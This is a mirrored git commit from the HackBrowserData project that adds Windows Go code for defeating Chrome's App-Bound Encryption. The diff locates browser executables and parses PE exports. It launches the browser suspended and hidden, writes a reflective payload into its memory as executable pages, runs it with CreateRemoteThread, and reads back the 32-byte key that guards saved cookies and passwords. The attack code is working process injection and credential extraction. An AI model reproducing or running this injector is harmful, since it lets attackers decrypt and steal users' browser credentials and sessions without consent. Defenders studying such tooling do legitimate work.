mirror of
https://github.com/moonD4rk/HackBrowserData.git
synced 2026-05-19 18:58:03 +02:00
feat(windows): Chrome App-Bound Encryption implementation (#573)
* build(abe): add zig-cc payload build system + C reflective loader * feat(abe): add reflective injector and Go ABE key-retriever primitives * feat(abe): wire ABERetriever into DefaultRetriever chain + --abe-key CLI * feat(abe): route Chromium v20 ciphertext through AES-GCM with ABE key
This commit is contained in:
@@ -0,0 +1,116 @@
|
||||
//go:build windows
|
||||
|
||||
package browserutil
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
var ErrExecutableNotFound = errors.New("browser executable not found")
|
||||
|
||||
type browserLocation struct {
|
||||
exeName string
|
||||
fallbacks []string
|
||||
}
|
||||
|
||||
var browserLocations = map[string]browserLocation{
|
||||
"chrome": {
|
||||
exeName: "chrome.exe",
|
||||
fallbacks: []string{
|
||||
`%ProgramFiles%\Google\Chrome\Application\chrome.exe`,
|
||||
`%ProgramFiles(x86)%\Google\Chrome\Application\chrome.exe`,
|
||||
`%LocalAppData%\Google\Chrome\Application\chrome.exe`,
|
||||
},
|
||||
},
|
||||
"chrome-beta": {
|
||||
exeName: "chrome.exe",
|
||||
fallbacks: []string{
|
||||
`%ProgramFiles%\Google\Chrome Beta\Application\chrome.exe`,
|
||||
`%ProgramFiles(x86)%\Google\Chrome Beta\Application\chrome.exe`,
|
||||
`%LocalAppData%\Google\Chrome Beta\Application\chrome.exe`,
|
||||
},
|
||||
},
|
||||
"edge": {
|
||||
exeName: "msedge.exe",
|
||||
fallbacks: []string{
|
||||
`%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe`,
|
||||
`%ProgramFiles%\Microsoft\Edge\Application\msedge.exe`,
|
||||
},
|
||||
},
|
||||
"brave": {
|
||||
exeName: "brave.exe",
|
||||
fallbacks: []string{
|
||||
`%ProgramFiles%\BraveSoftware\Brave-Browser\Application\brave.exe`,
|
||||
`%ProgramFiles(x86)%\BraveSoftware\Brave-Browser\Application\brave.exe`,
|
||||
`%LocalAppData%\BraveSoftware\Brave-Browser\Application\brave.exe`,
|
||||
},
|
||||
},
|
||||
"coccoc": {
|
||||
exeName: "browser.exe",
|
||||
fallbacks: []string{
|
||||
`%ProgramFiles%\CocCoc\Browser\Application\browser.exe`,
|
||||
`%ProgramFiles(x86)%\CocCoc\Browser\Application\browser.exe`,
|
||||
`%LocalAppData%\CocCoc\Browser\Application\browser.exe`,
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
func ExecutablePath(browserKey string) (string, error) {
|
||||
loc, ok := browserLocations[browserKey]
|
||||
if !ok {
|
||||
return "", fmt.Errorf("%w: %q (no lookup entry)", ErrExecutableNotFound, browserKey)
|
||||
}
|
||||
|
||||
if p, err := appPathsLookup(loc.exeName, registry.LOCAL_MACHINE); err == nil {
|
||||
return p, nil
|
||||
}
|
||||
if p, err := appPathsLookup(loc.exeName, registry.CURRENT_USER); err == nil {
|
||||
return p, nil
|
||||
}
|
||||
|
||||
for _, candidate := range loc.fallbacks {
|
||||
expanded := os.ExpandEnv(candidate)
|
||||
if fileExists(expanded) {
|
||||
return expanded, nil
|
||||
}
|
||||
}
|
||||
|
||||
return "", fmt.Errorf("%w: %q (registry miss and no fallback match)",
|
||||
ErrExecutableNotFound, browserKey)
|
||||
}
|
||||
|
||||
func appPathsLookup(exeName string, root registry.Key) (string, error) {
|
||||
sub := `SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\` + exeName
|
||||
k, err := registry.OpenKey(root, sub, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
v, _, err := k.GetStringValue("")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
v = unquote(v)
|
||||
if !fileExists(v) {
|
||||
return "", fmt.Errorf("registry path does not exist: %s", v)
|
||||
}
|
||||
return filepath.Clean(v), nil
|
||||
}
|
||||
|
||||
func fileExists(path string) bool {
|
||||
info, err := os.Stat(path)
|
||||
return err == nil && !info.IsDir()
|
||||
}
|
||||
|
||||
func unquote(s string) string {
|
||||
if len(s) >= 2 && s[0] == '"' && s[len(s)-1] == '"' {
|
||||
return s[1 : len(s)-1]
|
||||
}
|
||||
return s
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
//go:build windows
|
||||
|
||||
package injector
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"debug/pe"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
type Arch string
|
||||
|
||||
const (
|
||||
ArchAMD64 Arch = "amd64"
|
||||
Arch386 Arch = "386"
|
||||
ArchUnknown Arch = "unknown"
|
||||
)
|
||||
|
||||
func DetectPEArch(peBytes []byte) (Arch, error) {
|
||||
f, err := pe.NewFile(bytes.NewReader(peBytes))
|
||||
if err != nil {
|
||||
return ArchUnknown, fmt.Errorf("parse PE: %w", err)
|
||||
}
|
||||
switch f.Machine {
|
||||
case pe.IMAGE_FILE_MACHINE_AMD64:
|
||||
return ArchAMD64, nil
|
||||
case pe.IMAGE_FILE_MACHINE_I386:
|
||||
return Arch386, nil
|
||||
default:
|
||||
return ArchUnknown, nil
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,173 @@
|
||||
//go:build windows
|
||||
|
||||
package injector
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"debug/pe"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
func FindExportFileOffset(dllBytes []byte, exportName string) (uint32, error) {
|
||||
rva, err := findExportRVA(dllBytes, exportName)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
f, err := pe.NewFile(bytes.NewReader(dllBytes))
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("parse PE: %w", err)
|
||||
}
|
||||
off, ok := rvaToFileOffset(f, rva)
|
||||
if !ok {
|
||||
return 0, fmt.Errorf("RVA 0x%x (%s) has no raw file mapping", rva, exportName)
|
||||
}
|
||||
return off, nil
|
||||
}
|
||||
|
||||
func findExportRVA(dllBytes []byte, exportName string) (uint32, error) {
|
||||
view, err := loadExportSection(dllBytes)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
edOff, err := view.rvaToOff(view.dirRVA)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
var ed imageExportDirectory
|
||||
if err := binary.Read(bytes.NewReader(view.raw[edOff:]), binary.LittleEndian, &ed); err != nil {
|
||||
return 0, fmt.Errorf("read export directory: %w", err)
|
||||
}
|
||||
if ed.NumberOfNames == 0 {
|
||||
return 0, fmt.Errorf("PE has no named exports")
|
||||
}
|
||||
return findNamedExport(view, &ed, exportName)
|
||||
}
|
||||
|
||||
func rvaToFileOffset(f *pe.File, rva uint32) (uint32, bool) {
|
||||
for _, s := range f.Sections {
|
||||
if rva >= s.VirtualAddress && rva < s.VirtualAddress+s.VirtualSize {
|
||||
return rva - s.VirtualAddress + s.Offset, true
|
||||
}
|
||||
}
|
||||
return 0, false
|
||||
}
|
||||
|
||||
type exportSectionView struct {
|
||||
raw []byte
|
||||
sectBase uint32
|
||||
sectSize uint32
|
||||
sectName string
|
||||
dirRVA uint32
|
||||
dirSize uint32
|
||||
}
|
||||
|
||||
func (v *exportSectionView) rvaToOff(rva uint32) (uint32, error) {
|
||||
if rva < v.sectBase || rva >= v.sectBase+v.sectSize {
|
||||
return 0, fmt.Errorf("RVA 0x%x outside section %q", rva, v.sectName)
|
||||
}
|
||||
off := rva - v.sectBase
|
||||
if int(off) >= len(v.raw) {
|
||||
return 0, fmt.Errorf("RVA 0x%x beyond raw section data", rva)
|
||||
}
|
||||
return off, nil
|
||||
}
|
||||
|
||||
func loadExportSection(dllBytes []byte) (*exportSectionView, error) {
|
||||
f, err := pe.NewFile(bytes.NewReader(dllBytes))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("parse PE: %w", err)
|
||||
}
|
||||
oh, ok := f.OptionalHeader.(*pe.OptionalHeader64)
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("expected PE32+ (64-bit) image")
|
||||
}
|
||||
if len(oh.DataDirectory) == 0 {
|
||||
return nil, fmt.Errorf("PE has no data directories")
|
||||
}
|
||||
exp := oh.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT]
|
||||
if exp.Size == 0 || exp.VirtualAddress == 0 {
|
||||
return nil, fmt.Errorf("PE has no export directory")
|
||||
}
|
||||
sect := findSectionForRVA(f, exp.VirtualAddress)
|
||||
if sect == nil {
|
||||
return nil, fmt.Errorf("export directory RVA 0x%x not in any section", exp.VirtualAddress)
|
||||
}
|
||||
raw, err := sect.Data()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read section %q: %w", sect.Name, err)
|
||||
}
|
||||
return &exportSectionView{
|
||||
raw: raw,
|
||||
sectBase: sect.VirtualAddress,
|
||||
sectSize: sect.VirtualSize,
|
||||
sectName: sect.Name,
|
||||
dirRVA: exp.VirtualAddress,
|
||||
dirSize: exp.Size,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func findNamedExport(view *exportSectionView, ed *imageExportDirectory, name string) (uint32, error) {
|
||||
namesOff, err := view.rvaToOff(ed.AddressOfNames)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
funcsOff, err := view.rvaToOff(ed.AddressOfFunctions)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
ordOff, err := view.rvaToOff(ed.AddressOfNameOrdinals)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
for i := uint32(0); i < ed.NumberOfNames; i++ {
|
||||
nameRVA := binary.LittleEndian.Uint32(view.raw[namesOff+i*4 : namesOff+i*4+4])
|
||||
nameOff, err := view.rvaToOff(nameRVA)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if readCString(view.raw[nameOff:]) != name {
|
||||
continue
|
||||
}
|
||||
ord := binary.LittleEndian.Uint16(view.raw[ordOff+i*2 : ordOff+i*2+2])
|
||||
fnSlot := funcsOff + uint32(ord)*4
|
||||
if int(fnSlot)+4 > len(view.raw) {
|
||||
return 0, fmt.Errorf("function slot for %q out of range", name)
|
||||
}
|
||||
return binary.LittleEndian.Uint32(view.raw[fnSlot : fnSlot+4]), nil
|
||||
}
|
||||
return 0, fmt.Errorf("export %q not found", name)
|
||||
}
|
||||
|
||||
type imageExportDirectory struct {
|
||||
Characteristics uint32
|
||||
TimeDateStamp uint32
|
||||
MajorVersion uint16
|
||||
MinorVersion uint16
|
||||
Name uint32
|
||||
Base uint32
|
||||
NumberOfFunctions uint32
|
||||
NumberOfNames uint32
|
||||
AddressOfFunctions uint32
|
||||
AddressOfNames uint32
|
||||
AddressOfNameOrdinals uint32
|
||||
}
|
||||
|
||||
func findSectionForRVA(f *pe.File, rva uint32) *pe.Section {
|
||||
for _, s := range f.Sections {
|
||||
if rva >= s.VirtualAddress && rva < s.VirtualAddress+s.VirtualSize {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func readCString(b []byte) string {
|
||||
for i, c := range b {
|
||||
if c == 0 {
|
||||
return string(b[:i])
|
||||
}
|
||||
}
|
||||
return string(b)
|
||||
}
|
||||
@@ -0,0 +1,308 @@
|
||||
//go:build windows
|
||||
|
||||
package injector
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"os"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
type Reflective struct {
|
||||
WaitTimeout time.Duration
|
||||
}
|
||||
|
||||
const (
|
||||
exportName = "Bootstrap"
|
||||
// 30s covers GoogleChromeElevationService cold-start on first call after boot.
|
||||
defaultWait = 30 * time.Second
|
||||
terminateWait = 2 * time.Second
|
||||
|
||||
// Keep in sync with bootstrap.h.
|
||||
bootstrapMarkerOffset = 0x28
|
||||
bootstrapKeyStatusOffset = 0x29
|
||||
bootstrapKeyOffset = 0x40
|
||||
bootstrapKeyLen = 32
|
||||
bootstrapKeyStatusReady = 0x01
|
||||
)
|
||||
|
||||
func (r *Reflective) Inject(exePath string, payload []byte, env map[string]string) ([]byte, error) {
|
||||
if len(payload) == 0 {
|
||||
return nil, fmt.Errorf("injector: empty payload")
|
||||
}
|
||||
if exePath == "" {
|
||||
return nil, fmt.Errorf("injector: empty exePath")
|
||||
}
|
||||
|
||||
loaderRVA, err := validateAndLocateLoader(payload)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
patched, err := patchPreresolvedImports(payload)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
restore := setEnvTemporarily(env)
|
||||
defer restore()
|
||||
|
||||
pi, err := spawnSuspended(exePath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer windows.CloseHandle(pi.Process)
|
||||
defer windows.CloseHandle(pi.Thread)
|
||||
|
||||
terminated := false
|
||||
defer func() {
|
||||
if !terminated {
|
||||
_ = windows.TerminateProcess(pi.Process, 1)
|
||||
_, _ = windows.WaitForSingleObject(pi.Process, uint32(terminateWait/time.Millisecond))
|
||||
}
|
||||
}()
|
||||
|
||||
remoteBase, err := writeRemotePayload(pi.Process, patched)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Resume briefly so ntdll loader init completes before we hijack a thread;
|
||||
// Bootstrap itself is self-contained but the later elevation_service COM
|
||||
// call inside the payload relies on a fully-initialized PEB.
|
||||
_, _ = windows.ResumeThread(pi.Thread)
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
|
||||
if err := runAndWait(pi.Process, remoteBase, loaderRVA, r.wait()); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Read output before TerminateProcess — after kill the memory is gone.
|
||||
status, key := readScratch(pi.Process, remoteBase)
|
||||
|
||||
_ = windows.TerminateProcess(pi.Process, 0)
|
||||
_, _ = windows.WaitForSingleObject(pi.Process, uint32(terminateWait/time.Millisecond))
|
||||
terminated = true
|
||||
|
||||
if status != bootstrapKeyStatusReady {
|
||||
marker := readMarker(pi.Process, remoteBase)
|
||||
return nil, fmt.Errorf("injector: payload did not publish key (status=0x%02x, marker=0x%02x)",
|
||||
status, marker)
|
||||
}
|
||||
return key, nil
|
||||
}
|
||||
|
||||
func (r *Reflective) wait() time.Duration {
|
||||
if r.WaitTimeout > 0 {
|
||||
return r.WaitTimeout
|
||||
}
|
||||
return defaultWait
|
||||
}
|
||||
|
||||
func validateAndLocateLoader(payload []byte) (uint32, error) {
|
||||
arch, err := DetectPEArch(payload)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("injector: detect payload arch: %w", err)
|
||||
}
|
||||
if arch != ArchAMD64 {
|
||||
return 0, fmt.Errorf("injector: only amd64 payload is supported (got %s)", arch)
|
||||
}
|
||||
off, err := FindExportFileOffset(payload, exportName)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("injector: locate %s: %w", exportName, err)
|
||||
}
|
||||
return off, nil
|
||||
}
|
||||
|
||||
func spawnSuspended(exePath string) (*windows.ProcessInformation, error) {
|
||||
exePtr, err := syscall.UTF16PtrFromString(exePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("injector: exe path: %w", err)
|
||||
}
|
||||
si := &windows.StartupInfo{}
|
||||
pi := &windows.ProcessInformation{}
|
||||
if err := windows.CreateProcess(
|
||||
exePtr, nil, nil, nil,
|
||||
false,
|
||||
windows.CREATE_SUSPENDED|windows.CREATE_NO_WINDOW,
|
||||
nil, nil, si, pi,
|
||||
); err != nil {
|
||||
return nil, fmt.Errorf("injector: CreateProcess: %w", err)
|
||||
}
|
||||
return pi, nil
|
||||
}
|
||||
|
||||
func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
procVirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
|
||||
procWriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
|
||||
|
||||
remoteBase, _, callErr := procVirtualAllocEx.Call(
|
||||
uintptr(proc), 0,
|
||||
uintptr(len(payload)),
|
||||
uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
|
||||
uintptr(windows.PAGE_EXECUTE_READWRITE),
|
||||
)
|
||||
if remoteBase == 0 {
|
||||
return 0, fmt.Errorf("injector: VirtualAllocEx: %w", callErr)
|
||||
}
|
||||
|
||||
var written uintptr
|
||||
r1, _, callErr := procWriteProcessMemory.Call(
|
||||
uintptr(proc), remoteBase,
|
||||
uintptr(unsafe.Pointer(&payload[0])),
|
||||
uintptr(len(payload)),
|
||||
uintptr(unsafe.Pointer(&written)),
|
||||
)
|
||||
if r1 == 0 {
|
||||
return 0, fmt.Errorf("injector: WriteProcessMemory: %w", callErr)
|
||||
}
|
||||
if int(written) != len(payload) {
|
||||
return 0, fmt.Errorf("injector: short write to target (%d/%d)", written, len(payload))
|
||||
}
|
||||
return remoteBase, nil
|
||||
}
|
||||
|
||||
func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, wait time.Duration) error {
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
procCreateRemoteThread := kernel32.NewProc("CreateRemoteThread")
|
||||
|
||||
entry := remoteBase + uintptr(loaderRVA)
|
||||
hThread, _, callErr := procCreateRemoteThread.Call(
|
||||
uintptr(proc),
|
||||
0, 0, entry, 0, 0, 0,
|
||||
)
|
||||
if hThread == 0 {
|
||||
return fmt.Errorf("injector: CreateRemoteThread: %w", callErr)
|
||||
}
|
||||
defer windows.CloseHandle(windows.Handle(hThread))
|
||||
|
||||
_, _ = windows.WaitForSingleObject(windows.Handle(hThread), uint32(wait/time.Millisecond))
|
||||
return nil
|
||||
}
|
||||
|
||||
func readScratch(proc windows.Handle, remoteBase uintptr) (status byte, key []byte) {
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
procReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
|
||||
|
||||
var sb [1]byte
|
||||
var n uintptr
|
||||
r, _, _ := procReadProcessMemory.Call(
|
||||
uintptr(proc),
|
||||
remoteBase+uintptr(bootstrapKeyStatusOffset),
|
||||
uintptr(unsafe.Pointer(&sb[0])),
|
||||
1,
|
||||
uintptr(unsafe.Pointer(&n)),
|
||||
)
|
||||
if r == 0 {
|
||||
return 0, nil
|
||||
}
|
||||
status = sb[0]
|
||||
if status != bootstrapKeyStatusReady {
|
||||
return status, nil
|
||||
}
|
||||
|
||||
buf := make([]byte, bootstrapKeyLen)
|
||||
r, _, _ = procReadProcessMemory.Call(
|
||||
uintptr(proc),
|
||||
remoteBase+uintptr(bootstrapKeyOffset),
|
||||
uintptr(unsafe.Pointer(&buf[0])),
|
||||
uintptr(bootstrapKeyLen),
|
||||
uintptr(unsafe.Pointer(&n)),
|
||||
)
|
||||
if r == 0 || int(n) != bootstrapKeyLen {
|
||||
return status, nil
|
||||
}
|
||||
return status, buf
|
||||
}
|
||||
|
||||
func readMarker(proc windows.Handle, remoteBase uintptr) byte {
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
procReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
|
||||
var b [1]byte
|
||||
var n uintptr
|
||||
r, _, _ := procReadProcessMemory.Call(
|
||||
uintptr(proc),
|
||||
remoteBase+uintptr(bootstrapMarkerOffset),
|
||||
uintptr(unsafe.Pointer(&b[0])),
|
||||
1,
|
||||
uintptr(unsafe.Pointer(&n)),
|
||||
)
|
||||
if r == 0 {
|
||||
return 0
|
||||
}
|
||||
return b[0]
|
||||
}
|
||||
|
||||
// patchPreresolvedImports writes five pre-resolved Win32 function pointers
|
||||
// into the payload's DOS stub so Bootstrap skips PEB.Ldr traversal entirely.
|
||||
// Validity relies on KnownDlls + session-consistent ASLR (kernel32 and ntdll
|
||||
// share the same virtual address across processes in one boot session).
|
||||
func patchPreresolvedImports(payload []byte) ([]byte, error) {
|
||||
if len(payload) < 0x68 {
|
||||
return nil, fmt.Errorf("injector: payload too small for pre-resolved import patch")
|
||||
}
|
||||
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
ntdll := windows.NewLazySystemDLL("ntdll.dll")
|
||||
|
||||
pLoadLibraryA := kernel32.NewProc("LoadLibraryA").Addr()
|
||||
pGetProcAddress := kernel32.NewProc("GetProcAddress").Addr()
|
||||
pVirtualAlloc := kernel32.NewProc("VirtualAlloc").Addr()
|
||||
pVirtualProtect := kernel32.NewProc("VirtualProtect").Addr()
|
||||
pNtFlushIC := ntdll.NewProc("NtFlushInstructionCache").Addr()
|
||||
|
||||
if pLoadLibraryA == 0 || pGetProcAddress == 0 || pVirtualAlloc == 0 ||
|
||||
pVirtualProtect == 0 || pNtFlushIC == 0 {
|
||||
return nil, fmt.Errorf("injector: failed to resolve one or more pre-resolved imports")
|
||||
}
|
||||
|
||||
patched := make([]byte, len(payload))
|
||||
copy(patched, payload)
|
||||
|
||||
writeAddr := func(off int, addr uintptr) {
|
||||
binary.LittleEndian.PutUint64(patched[off:off+8], uint64(addr))
|
||||
}
|
||||
writeAddr(0x40, pLoadLibraryA)
|
||||
writeAddr(0x48, pGetProcAddress)
|
||||
writeAddr(0x50, pVirtualAlloc)
|
||||
writeAddr(0x58, pVirtualProtect)
|
||||
writeAddr(0x60, pNtFlushIC)
|
||||
|
||||
return patched, nil
|
||||
}
|
||||
|
||||
// setEnvTemporarily mutates the current process's env; NOT concurrency-safe.
|
||||
// Callers must serialize Inject calls.
|
||||
func setEnvTemporarily(env map[string]string) func() {
|
||||
if len(env) == 0 {
|
||||
return func() {}
|
||||
}
|
||||
|
||||
type prev struct {
|
||||
key string
|
||||
value string
|
||||
set bool
|
||||
}
|
||||
saved := make([]prev, 0, len(env))
|
||||
for k, v := range env {
|
||||
old, existed := os.LookupEnv(k)
|
||||
saved = append(saved, prev{key: k, value: old, set: existed})
|
||||
_ = os.Setenv(k, v)
|
||||
}
|
||||
|
||||
return func() {
|
||||
for _, p := range saved {
|
||||
if p.set {
|
||||
_ = os.Setenv(p.key, p.value)
|
||||
} else {
|
||||
_ = os.Unsetenv(p.key)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
package injector
|
||||
|
||||
type Strategy interface {
|
||||
Inject(exePath string, payload []byte, env map[string]string) ([]byte, error)
|
||||
}
|
||||
Reference in New Issue
Block a user